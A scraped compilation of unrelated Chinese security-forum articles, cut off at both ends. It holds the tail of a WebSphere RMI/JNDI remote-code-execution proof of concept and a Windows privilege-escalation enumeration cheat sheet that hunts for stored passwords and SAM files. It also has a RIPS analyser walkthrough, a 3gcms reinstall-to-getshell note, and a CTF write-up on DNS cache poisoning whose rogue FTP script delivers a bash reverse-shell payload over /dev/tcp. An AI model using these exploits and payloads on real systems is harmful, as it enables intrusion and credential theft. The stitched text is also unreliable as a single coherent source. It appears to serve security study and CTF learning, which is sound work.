Serializable key = "\"a\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('calc')\")";
BeanId beanId = new BeanId(sessionHome, key, true);
BeanMetaData beanMetaData = new BeanMetaData(1);
beanMetaData.homeInterfaceClass = com.ibm.ws.batch.CounterHome.class;
Properties initProperties = new Properties();
initProperties.setProperty("java.naming.factory.object", "org.apache.wsif.naming.WSIFServiceObjectFactory");
Constructor c = EntityHandle.class.getDeclaredConstructor(BeanId.class, BeanMetaData.class, Properties.class);
c.setAccessible(true);
var2 = (Handle) c.newInstance(beanId, beanMetaData, initProperties);
} catch (Exception e) {
e.printStackTrace();
}
return var2;
}
}
##### RMI Server
public class RMIServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference ref = new Reference(WSIFServiceStubRef.class.getName(), (String) null, (String) null);
ref.add(new StringRefAddr("wsdlLoc", "http://169.254.0.117:80/poc.wsdl"));
ref.add(new StringRefAddr("serviceNS", null));
ref.add(new StringRefAddr("serviceName", null));
ref.add(new StringRefAddr("portTypeNS", "http://wsifservice.addressbook/"));
ref.add(new StringRefAddr("portTypeName", "Gadget"));
ref.add(new StringRefAddr("preferredPort", "JavaPort"));
ref.add(new StringRefAddr("className", "com.ibm.ws.batch.CounterHome"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("poc", referenceWrapper);
}
}
##### wsdl文件
<?xml version="1.0" ?>
<definitions targetNamespace="http://wsifservice.addressbook/"
xmlns:tns="http://wsifservice.addressbook/"
xmlns:xsd="http://www.w3.org/1999/XMLSchema"
xmlns:format="http://schemas.xmlsoap.org/wsdl/formatbinding/"
xmlns:java="http://schemas.xmlsoap.org/wsdl/java/"
xmlns="http://schemas.xmlsoap.org/wsdl/">
<!-- type defs -->
<!-- message declns -->
<message name="findByPrimaryKeyRequest">
<part name="el" type="xsd:string"/>
</message>
<message name="findByPrimaryKeyResponse">
<part name="counterObject" type="xsd:object"/>
</message>
<!-- port type declns -->
<portType name="Gadget">
<operation name="findByPrimaryKey">
<input message="tns:findByPrimaryKeyRequest"/>
<output message="tns:findByPrimaryKeyResponse"/>
</operation>
</portType>
<!-- binding declns -->
<binding name="JavaBinding" type="tns:Gadget">
<java:binding/>
<format:typeMapping encoding="Java" style="Java">
<format:typeMap typeName="xsd:string" formatType="java.lang.String"/>
<format:typeMap typeName="xsd:object" formatType="java.lang.Object"/>
</format:typeMapping>
<operation name="findByPrimaryKey">
<java:operation
methodName="eval"
parameterOrder="el"
methodType="instance"
returnPart="counterObject"
/>
</operation>
</binding>
<!-- service decln -->
<service name="GadgetService">
<port name="JavaPort" binding="tns:JavaBinding">
<java:address className="javax.el.ELProcessor"/>
</port>
</service>
</definitions>
#### 思考
* 对EJB规范的理解可以对分析事半功倍。
#### 参考
* <https://www.zerodayinitiative.com/blog/2020/7/20/abusing-java-remote-protocols-in-ibm-websphere>
* <https://cert.360.cn/report/detail?id=3d016bdef66b8e29936f8cb364f265c8>
* <https://paper.seebug.org/1303/>
* <https://www.secrss.com/articles/24353> | 社区文章 |
# Windows 权限提升指南
## 介绍
特权提升总是归结为正确的枚举。但是要完成适当的枚举，您需要知道要检查的内容。这需要熟悉通常伴随经验而来的系统。起初，权限提升似乎是一项艰巨的任务，但过了一段时间，您就开始筛选正常和不正常的内容。最终，人们更容易知道该寻找什么，而不是挖掘所有的东西，希望能在干草堆中找到那根针。希望本指南为您的入门和提高提供一个良好的基础
本指南受[基于Linux权限提升](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)的影响，在某些时候，您应该已经看到并使用该指南。我想尝试模仿他的指南，除了Windows，因此，本指南将主要关注枚举方面。
### 指南布局
在每个部分中，我首先提供旧的可信的CMD命令，然后还提供了Powershell的等价命令。这两种方式都是极好的，而且Powershell比CMD命令更适合脚本编写。然而，对于有些事情没有一个Powershell等价命令(或者CMD命令仍然更简单更好用)，所以这些部分只会提供常规的CMD命令。
## 操作系统
1.查询操作系统与系统安装了哪些补丁
systeminfo
wmic qfe
2.查询环境变量（注：域控制器在`LOGONSERVER`）
set
Get-ChildItem Env: | ft Key,Value
3.其它连接的驱动器
net use
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
## 用户
1.查询当前用户
whoami
echo %USERNAME%
$env:UserName
2.查询用户权限
whoami /priv
3.系统上其它用户
net users
dir /b /ad "C:\Users\"
dir /b /ad "C:\Documents and Settings\" #XP及以下
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
4.是否有其它人登陆
qwinsta
5.用户组
net localgroup
Get-LocalGroup | ft Name
6.管理员组用户
net localgroup Administrators
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
7.用户自动登陆，注册表中的内容
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' | select "Default*"
8.证书管理器
cmdkey /list
9.SAM和SYSTEM文件
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\SYSTEM
## 程序，进程和服务
1.安装的软件
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
2.程序文件夹上的完全权限
icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "Everyone"
icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
3.修改程序文件夹权限
icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "Everyone"
icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
4.通过accesschk来检查可写文件夹和文件
accesschk.exe -qwsu "Everyone" *
accesschk.exe -qwsu "Authenticated Users" *
accesschk.exe -qwsu "Users" *
5.进程与服务
tasklist /svc
tasklist /v
net start
sc query
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
6.脆弱的服务权限
accesschk.exe -uwcqv "Everyone" *
accesschk.exe -uwcqv "Authenticated Users" *
accesschk.exe -uwcqv "Users" *
7.引用的服务路径
wmic service get name,displayname,pathname,startmode 2>nul |findstr /i "Auto" 2>nul |findstr /i /v "C:\Windows\\" 2>nul |findstr /i /v """
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
8.计划任务
schtasks /query /fo LIST 2>nul | findstr TaskName
dir C:\windows\tasks
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
9.开机启动项
wmic startup get caption,command
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ItemProperty -Path 'Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ChildItem "C:\Users\All Users\Start Menu\Programs\Startup"
Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
(检查是否开启AlwaysInstallElevated)，相关利用方法参见[Windows提权的几种姿势](http://www.freebuf.com/vuls/87463.html)一文中的部分内容
## 网络
1.网络连接
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
2.路由
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
3.ARP缓存
arp -a
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
4.主机连接状态及端口开放
netstat -ano
5.hosts
C:\WINDOWS\System32\drivers\etc\hosts
6.防火墙
netsh firewall show state
netsh firewall show config
netsh advfirewall firewall show rule name=all
netsh advfirewall export "firewall.txt"
7.SNMP配置
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
## 有趣的文件和敏感信息
1.注册表中的任何密码
reg query HKCU /f password /t REG_SZ /s
reg query HKLM /f password /t REG_SZ /s
2.IIS服务器
dir /a C:\inetpub\
dir /s web.config
C:\Windows\System32\inetsrv\config\applicationHost.config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
3.IIS日志
C:\inetpub\logs\LogFiles\W3SVC1\u_ex[YYMMDD].log
C:\inetpub\logs\LogFiles\W3SVC2\u_ex[YYMMDD].log
C:\inetpub\logs\LogFiles\FTPSVC1\u_ex[YYMMDD].log
C:\inetpub\logs\LogFiles\FTPSVC2\u_ex[YYMMDD].log
4.XAMPP、Apache、PHP
dir /s php.ini httpd.conf httpd-xampp.conf my.ini my.cnf
Get-Childitem –Path C:\ -Include php.ini,httpd.conf,httpd-xampp.conf,my.ini,my.cnf -File -Recurse -ErrorAction SilentlyContinue
5.Apache 日志
dir /s access.log error.log
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
6.敏感信息文件
dir /s *pass* == *vnc* == *.config* 2>nul
Get-Childitem –Path C:\Users\ -Include *password*,*vnc*,*.config -File -Recurse -ErrorAction SilentlyContinue
findstr /si password *.xml *.ini *.txt *.config 2>nul
Get-ChildItem C:\* -include *.xml,*.ini,*.txt,*.config -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "password"
## 最后
原文链接 ：<https://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/> | 社区文章 |
## 前言
因为18年下半年自己的原因，RIPS源码精读这个系列文章的更新暂停了，因此在阅读本篇文章时，无可避免会有些滞涩感，可以再过一下我的前两篇该系列文章:
[RIPS源码精读(一):逻辑流程及lib文件夹大致说明](https://otakekumi.github.io/2018/07/30/RIPS-1/)
[RIPS源码精读(二):扫描对象的实例化及token信息的生成](https://otakekumi.github.io/2018/08/21/RIPS-2/)
在之前的文章中，RIPS通过`Scanner`类的初始化，完成对php源码的token分析处理，实现了格式的统一化。
RIPS根据token流信息生成AST树再生成CFG的方法来进行自动化分析,因此接下来文章的核心其实是: CFG的生成及污点分析。
CFG的生成主要通过使用token信息根据函数、变量进行分块，形成一级一级的调用链，进而生成CFG。
在RIPS中,通过对涉及危险函数的变量的不断回溯,来判断是否为用户可控的输入,进而完成污点分析。
考虑到之前大篇幅的粘贴代码，给流畅阅读带来了挺大的障碍，这一篇开始，将会尽量避免大幅的粘贴代码，转而以描述思路为主。
## [一] 流程综述
整个生成过程以`parse`函数作为实现，整个的处理逻辑包裹于一个大循环中:
function parse(){
for($i=0,$tokencount=count($this->tokens); $i<$tokencount; $i++, $this->tif++)
{
......
}
}
在进行下一步之前，我们需要回顾一个知识点:
> token信息通常可被表述为一个数组，分别为`token含义`，`token值`，`token行数`
因此，基于上面这个知识点，在整个大循环中，主要由`if`组成，`if`的条件为:
if( is_array($this->tokens[$i]) )
在进行正式的解析过程之前，会进行对大文件的处理，进行缓冲处理，即:
$token_name = $this->tokens[$i][0];
$token_value = $this->tokens[$i][1];
$line_nr = $this->tokens[$i][2];
// add preloader info for big files
if($line_nr % PRELOAD_SHOW_LINE == 0)
{
echo $GLOBALS['fit'] . '|' . $GLOBALS['file_amount'] . '|' . $this->file_pointer . ' (line ' . $line_nr . ')|' . $GLOBALS['timeleft'] . '|' . "\n";
@ob_flush();
flush();
}
随后正式开始`parse`流程。
正式的解析流程通过`if`语句分割成多个块，大致功能经过整理分别如下:
/*VARIABLE*/
if($token_name === T_VARIABLE){}
else if( in_array($token_name, Tokens::$T_FUNCTIONS)|| (in_array($token_name, Tokens::$T_XSS) && ($_POST['vector'] == 'client' || $_POST['vector'] == 'xss' || $_POST['vector'] == 'all')) ){}
/**STRING**/if($token_name === T_STRING && $this->tokens[$i+1] === '(')
/**FILE INCLUSION**/else if( in_array($token_name, Tokens::$T_INCLUDES) && !$this->in_function)
/**TAINT ANALYSIS**/if(isset($this->scan_functions[$token_value]) && $GLOBALS['verbosity'] != 5&& (empty($class) || (($this->in_function && is_array($function_obj->parameters) && in_array($classvar, $function_obj->parameters)) || @in_array($token_value, $this->vuln_classes[$class]))) )
/*CONTROL STRUCTURES*/
else if( in_array($token_name, Tokens::$T_LOOP_CONTROL) ){}
else if(in_array($token_name, Tokens::$T_FLOW_CONTROL)){}
/*FUNCTION*/
else if($token_name === T_FUNCTION)
else if($token_name === T_GLOBAL && $this->in_function){}
else if($token_name === T_RETURN && $this->in_function==1 ){}
/*CLASS*/
else if($token_name === T_CLASS){}
else if( $token_name === T_NEW && $this->tokens[$i-2][0] === T_VARIABLE ){}
else if($token_name === T_EXTENDS && $this->in_class){}
/*OTHER*/
else if($token_name === T_LIST){}
else if( $token_name === T_INCLUDE_END){}
/*BRACES*/
if($this->tokens[$i] === '{' && ($this->tokens[$i-1] === ')' || $this->tokens[$i-1] === ':' || $this->tokens[$i-1] === ';' || (is_array($this->tokens[$i-1])& ($this->tokens[$i-1][0] === T_DO || $this->tokens[$i-1][0] === T_ELSE|| $this->tokens[$i-1][0] === T_STRING || $this->tokens[$i-1][0] === T_TRY || $this->tokens[$i-1][0] === T_CATCH)) ) ){}
else if( $this->tokens[$i] === '}' && ($this->tokens[$i-1] === ';' || $this->tokens[$i-1] === '}' || $this->tokens[$i-1] === '{') )
## [二] 如何表示信息
这一部分我们掌握的是如何对已经分析出来的存在安全隐患的节点信息进行存储，以方便后续的分析。
RIPS中定义了一个节点类，专门用于存放相关信息，类名为`VulnTreeNode`，并且完成一次完整的分析，需要将许多个节点串起来，因此又定义了一个`VulnBlock`类用来关联节点信息。
在实际的审计过程中，我们会尤其关注危险函数中的可控参数，而在自动化审计中，同样如此。
当遇到危险函数存在可控参数后，需要对可控参数的来源进行不断的溯源，直到找到原始输入位置或者找到数据被过滤的位置才停下，而这种`溯源`的过程便需要由`Block`与`TreeNode`来组成。
以下面这段源码作为示范:
index.php
<?php
include 'vuln.php';
$a = $_GET['a'];
$b = $_GET['b'];
$c = $a.$b;
$c($_GET['d']);
?>
vuln.php
<?php
function vuln($a){
system($a);
}
RIPS对变量继承关系的描述如下图所示:
使用另一个文件来演示Block与Node的关系:
<?php
function c($c){
d($c);
}
function b($b){
c($b);
}
function a($a){
b($a);
}
function d($d){
system($d);
}
function e($e){
f($e);
}
function f($f){
d($f);
}
a($_GET['a']);
e($_GET['e']);
?>
图为:
# [三] 功能详解 - 污点分析
在进行污点分析的讲解之前，要先理解前面提到的`VARIABLE`、`STRING`等多个模块有何作用。
从宏观上来说，`VARIABLE`、`STRING`、`FUNCTIONS`等部分都是为了相同的目的，即尽可能完整地描述出目标文件中变量继承关系、函数调用关系、各部分调用关系。
因此，在经过这些部分的处理后，我们能获得对目标文件的完整描述。而污点分析则是建立在这些描述之上的。
在自动化审计中，可能会面临这么一个问题，即如何重复扫描同一个Block。我们只需要在Block中设置一个字段，用以标识是否已被扫描过即可避免这个问题。在Block中，这个字段是`uid`:
$block = new VulnBlock($this->tif.'_'.$this->tokens[$i][2].'_'.basename($this->file_pointer), getVulnNodeTitle($token_value), $token_value);
在确认当前块未被扫描后，首先会新建一个`VulnTreeNode`节点，后续对`VulnTreeNode`完善各种信息。随后对`VulnTreeNode`节点中的参数进行分析，找出是否存在用户输入的参数。
因此首先需要对危险函数的参数进行判断是否追溯，并得到该位置的参数是否被污染的结果，这两个在RIPS中的实现为:
判断是否需要追溯
// parameter = 0 means, all parameters will be traced
$F_XSS = array(
'echo' => array(array(0), $F_SECURING_XSS),
...
)
判断是否被污染
// trace back parameters and look for userinput, trace constants globally
$userinput = $this->scan_parameter(
$new_find,
$new_find,
$this->tokens[$i+$c],
$this->tokens[$i+$c][3],
$i+$c,
($this->in_function && $this->tokens[$i + $c][1][0] === '$') ? $this->var_declares_local : $this->var_declares_global,
$this->var_declares_global,
false,
$this->scan_functions[$token_value][1],
false, // no return-scan
$ignore_securing,
($this_one_is_secure || $in_securing)
);
其实到这里为止，后面的东西也没有什么需要过多描述的，由于在RIPS中没有明显的CFG构造过程，因此溯源过程看起来十分地凌乱。
## [四] 最终
第三篇咕了半年，自己本地的第一版也是大篇幅的代码分析，但是年底的时候读了一遍，发现效果很差，于是采用了这种以思路为主的描述方式，希望对之后学习相关内容的师傅有点帮助。 | 社区文章 |
在源码之家发现这样一套源码<http://guangzhou.mycodes.net/201410/3gcms2.0.rar>
首先对框架目录大致了解一下。源码采用thinkphp2.1框架编写。
看了下网上公开的thinkphp的命令执行漏洞[size=;font-size:10.5000pt,10.5000pt]
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e',
'$var[\'\1\']=\'\2\';', implode($depr,$paths));
这里已经被修复了，按照这个原理搜索文件
发现在\Core\Mode\Lite目录下的Dispatcher.class.php代码存在执行漏洞，但是本程序并没有开启lite模式。无法利用
查看install.php文件看到$lock_file = dirname( **FILE** ).'/install.lck';
定义了防重复安装的文件，但是在下面并没有判断该文件。 导致重装漏洞。
下面的思路很明确了 。
重装进后台然后getshell
黑盒看了下后台，在后台模版处是可以修改模板后缀名的。。导致getshell
有兴趣的可以跟上继续，如果我挖到新洞还会继续接着发 | 社区文章 |
## 前言
TQLCTF 2022只做了一道web，其余几道题打自闭了，回来复现。前言？没有前言了。。。焯
## DNS解析链
DNS就是域名系统，是因特网中的一项核心服务，是用于实现域名和IP地址相互映射的一个分布式数据库，能够使用户更方便的访问互联网，而不用去记住能够被机器直接读取的IP数串。通过主机名，得到该主机名对应的IP地址的过程叫做域名解析（或主机名解析）。
众所周知，DNS查询具有透明性，不会对接收到的DNS记录进行修改，恶意代码能够完整保存，并且，接收解析结果的程序不会对结果做任何验证和过滤。
上面是我做的一个DNS解析流程图
如果，我们将恶意字符编码为DNS记录的有效载荷。由攻击者的域名服务器提供的记录在攻击者控制的域下包含一个合法映射，但record被目标程序接受并处理时，获取到了错误子域的IP地址。此时，攻击者向解析器注入了大量伪造的响应，就会发生错误的解释从而导致注入攻击。
## DNS缓存攻击
在DNS资源记录中插⼊控制字符，从⽽影响DNS的解析结果，或是插⼊不符合域名规范的特殊字符，最终实现DNS缓存污染、SQL 注⼊、XSS等效果。
我们假设A为用户端，B为DNS服务器，C为A到B链路的一个节点的网络设备（路由器，交换机，网关之类的），然后我们来模拟一次被污染的DNS请求过程。
假设A向B构建UDP连接，然后，A向B发送查询请求，查询请求内容通常是：`A
example.com`，这一个数据包经过节点设备C继续前往DNS服务器B；然而在这个过程中，C通过对数据包进行特征分析（远程通讯端口为DNS服务器端口，激发内容关键字检查，检查特定的域名如上述的`example.com`,以及查询的记录类型`A记录`），从而立刻返回一个错误的解析结果（如返回了`A
123.110.119.120`），众所周知，作为链路上的一个节点，C机器的这个结果必定会先于真正的域名服务器的返回结果到达用户机器A，而我们的DNS解析机制有一个重要的原则，就是只认第一，因此C节点所返回的查询结果就被A机器当作了最终返回结果，用于构建链接。
### DNS缓存投毒
DNS缓存投毒攻击主要有两种攻击方式，分别利用`\\.`和`\\000`字符：
#### 句点注入
`\\.`在解码时会被认为是 `.`字符，因此DNS记录 `www\\.example.com. A 1.1.1.1`存入DNS缓存后就是将域名
`www.example.com`解析为 `1.1.1.1`的一条A记录。
这种攻击要求攻击者有一个特殊的域名`www\\.example.com`，且目标域名在同一父域下，但大多数应用都不太可能出现直接访问这类错误域名的情况，所以可以用CNAME记录来重定向。
CNAME对于需要在同一个IP地址上运行多个服务的情况来说非常方便。若要同时运行[文件传输](https://zh.wikipedia.org/wiki/%E6%96%87%E4%BB%B6%E4%BC%A0%E8%BE%93%E5%8D%8F%E8%AE%AE
"文件传输协议")服务和[Web服务](https://zh.wikipedia.org/wiki/Web%E6%9C%8D%E5%8A%A1
"Web服务")，则可以把 _ftp.example.com_ 和 _www.example.com_ 都指向DNS记录 _example.com_
，而后者则有一个指向IP地址的A记录。如此一来，若服务器IP地址改变，则只需修改 _example.com_ 的A记录即可。
> CNAME记录必须指向另一个域名，而不能是IP地址。
>
>
> inject.attacker.com. CNAME www\\.example.com.
> www\\.example.com. A 1.1.1.1
>
当我们直接对record进行解码但没有对`\\.`设置转义，`www.example.com`的 IP 地址就会变为
`1.1.1.1`。解码后缓存这个被误解的记录导致了DNS缓存注入。
#### `\\000`截断
`\\000`是C语言字符串的结束符，指的是8进制0对应的字符，很多情况下DNS记录中的字符串也会被这一字符截断。
当我们解码并将其输入到目标缓存时，该记录使攻击者能够在缓存中注入任意域名的记录。在这个攻击中，我们还使用了一个
CNAME别名映射到某个二级域名`injectdot.attacker.com`，对于大多数客户端软件，都会直接访问解析器就触发了对`www.example.com\\000.attacker.com`的查询。当没有转义`www.example.com`后的零字节时，`.attacker.com`被重新移动，因为它在`\\\000`之后，DNS
软件误解记录并缓存一个记录映射`www.example.com`到 IP 地址 `1.1.1.1`。
inject.attacker.com. CNAME www.example.com\\000.attacker.com
www.example.com\\000.attacker.com A 1.1.1.1
#### 例题 — [TQLCTF 2022]Network tools
通过DNS隧道传输恶意载荷
* DNS缓存投毒
* SSRF
from flask import Flask, request, send_from_directory,session
from flask_session import Session
from io import BytesIO
import re
import os
import ftplib
from hashlib import md5
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32)
app.config['SESSION_TYPE'] = 'filesystem'
sess = Session()
sess.init_app(app)
def exec_command(cmd, addr):
result = ''
if re.match(r'^[a-zA-Z0-9.:-]+$', addr) != None:
with os.popen(cmd % (addr)) as readObj:
result = readObj.read()
else:
result = 'Invalid Address!'
return result
@app.route("/")
def index():
if not session.get('token'):
token = md5(os.urandom(32)).hexdigest()[:8]
session['token'] = token
return send_from_directory('', 'index.html')
@app.route("/ping", methods=['POST'])
def ping():
addr = request.form.get('addr', '')
if addr == '':
return 'Parameter "addr" Empty!'
return exec_command("ping -c 3 -W 1 %s 2>&1", addr)
@app.route("/traceroute", methods=['POST'])
def traceroute():
addr = request.form.get('addr', '')
if addr == '':
return 'Parameter "addr" Empty!'
return exec_command("traceroute -q 1 -w 1 -n %s 2>&1", addr)
@app.route("/ftpcheck")
def ftpcheck():
if not session.get('token'):
return redirect("/")
domain = session.get('token') + ".ftp.testsweb.xyz"
file = 'robots.txt'
fp = BytesIO()
try:
with ftplib.FTP(domain) as ftp:
ftp.login("admin","admin")
ftp.retrbinary('RETR ' + file, fp.write)
except ftplib.all_errors as e:
return 'FTP {} Check Error: {}'.format(domain,str(e))
fp.seek(0)
try:
with ftplib.FTP(domain) as ftp:
ftp.login("admin","admin")
ftp.storbinary('STOR ' + file, fp)
except ftplib.all_errors as e:
return 'FTP {} Check Error: {}'.format(domain,str(e))
fp.close()
return 'FTP {} Check Success.'.format(domain)
@app.route("/shellcheck", methods=['POST'])
def shellcheck():
if request.remote_addr != '127.0.0.1':
return 'Localhost only'
shell = request.form.get('shell', '')
if shell == '':
return 'Parameter "shell" Empty!'
return str(os.system(shell))
if __name__ == "__main__":
app.run(host='0.0.0.0', port=8080)
分析一下，有两个点，一个是`ftpcheck`路由的FTP SSRF，还有一个是只允许本地访问的shell
那么我们的思路就是将`token.ftp.testsweb.xyz`的缓存污染为⾃⼰服务器的IP地址，即可实现FTP
SSRF，访问到预留的webshell。
这里实现的时候，我们可以用Twisted，一个基于事件驱动的网络引擎框架，支持许多常见的传输及应用层协议，包括TCP、UDP、SSL/TLS、HTTP、IMAP、SSH、IRC以及FTP。
zone = [
SOA(
# For whom we are the authority
'a.testsweb.xyz',
# This nameserver's name
mname = "b.testsweb.xyz.",
# Mailbox of individual who handles this
rname = "admin.a.testsweb.xyz",
# Unique serial identifying this SOA data
serial = 0,
# Time interval before zone should be refreshed
refresh = "1H",
# Interval before failed refresh should be retried
retry = "30M",
# Upper limit on time interval before expiry
expire = "1M",
# Minimum TTL
minimum = "30"
),
NS('a.testsweb.xyz', 'b.testsweb.xyz'),#将a.testsweb.xyz域名指定b.testsweb.xyz DNS服务器解析
CNAME('ftp.a.testsweb.xyz', 'token.ftp.testsweb.xyz\\000.a.testsweb.xyz'),
A('token.ftp.testsweb.xyz\\000.a.testsweb.xyz', 'X.X.X.X'),
]
将`a.testsweb.xyz`的域名指定`b.testsweb.xyz`的DNS服务器解析，然后将`a.testweb.xyz`的A记录指向自己的服务器IP
完成构造，关闭`system-resolved`，并且以权威服务器模式打开Twisted
sudo service systemd-resolved stop
sudo twisted -n dns --pyzone a.testweb.xyz
只要查询一下`ftp.a.testweb.xyz`，就会命中DNS
Forwarder的缓存，`token.ftp.testweb.xyz`DNS缓存就会污染为我们服务器IP
# -*- coding: utf-8 -*- # @Time : 2021/1/13 6:56 下午
# @File : ftp_redirect.py
# @Software:
import socket
from urllib.parse import unquote
# 对gopherus生成的payload进行一次urldecode
payload = unquote("POST%20/shellcheck%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2083%0D%0A%0D%0Ashell%3Dbash%2520-c%2520%2522bash%2520- i%2520%253E%2526%2520/dev/tcp/{}/{}%25200%253E%25261%2522".format(shell_ip, shell_port))
payload = payload.encode('utf-8')
host = '0.0.0.0'
port = 23
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)
# ftp被动模式的passvie port,监听到1234
sk2 = socket.socket()
sk2.bind((host, 1234))
sk2.listen()
# 计数器，用于区分是第几次ftp连接
count = 1
while 1:
conn, address = sk.accept()
conn.send(b"200 \n")
print(conn.recv(20)) # USER aaa\r\n 客户端传来用户名
if count == 1:
conn.send(b"220 ready\n")
else:
conn.send(b"200 ready\n")
print(conn.recv(20)) # TYPE I\r\n 客户端告诉服务端以什么格式传输数据，TYPE I表示二进制， TYPE A表示文本
if count == 1:
conn.send(b"215 \n")
else:
conn.send(b"200 \n")
print(conn.recv(20)) # SIZE /123\r\n 客户端询问文件/123的大小
if count == 1:
conn.send(b"213 3 \n")
else:
conn.send(b"300 \n")
print(conn.recv(20)) # EPSV\r\n'
conn.send(b"200 \n")
print(conn.recv(20)) # PASV\r\n 客户端告诉服务端进入被动连接模式
if count == 1:
conn.send(b"227 127,0,0,1,4,210\n") # 服务端告诉客户端需要到哪个ip:port去获取数据,ip,port都是用逗号隔开，其中端口的计算规则为：4*256+210=1234
else:
conn.send(b"227 127,0,0,1,35,40\n") # 端口计算规则：35*256+40=9000
print(conn.recv(20)) # 第一次连接会收到命令RETR /123\r\n，第二次连接会收到STOR /123\r\n
if count == 1:
conn.send(b"125 \n") # 告诉客户端可以开始数据连接了
# 新建一个socket给服务端返回我们的payload
print("建立连接!")
conn2, address2 = sk2.accept()
conn2.send(payload)
conn2.close()
print("断开连接!")
else:
conn.send(b"150 \n")
print(conn.recv(20))
exit()
# 第一次连接是下载文件，需要告诉客户端下载已经结束
if count == 1:
conn.send(b"226 \n")
print(conn.recv(20)) # QUIT\r\n
print("221 ")
conn.send(b"221 \n")
conn.close()
count += 1
发送payload即可。
#### 解决方案
DNS缓存投毒这一漏洞的根本原因我认为是没有对DNS记录进行验证和过滤，以及主机名和域名存在差异性。解决这一漏洞最直接的方法，就是针对这两个特性，将接收到的DNS解析结果像对待用户输入一样的方式进行过滤，不过这样有可能导致传输速率降低。
### DNS中的SQL注入攻击
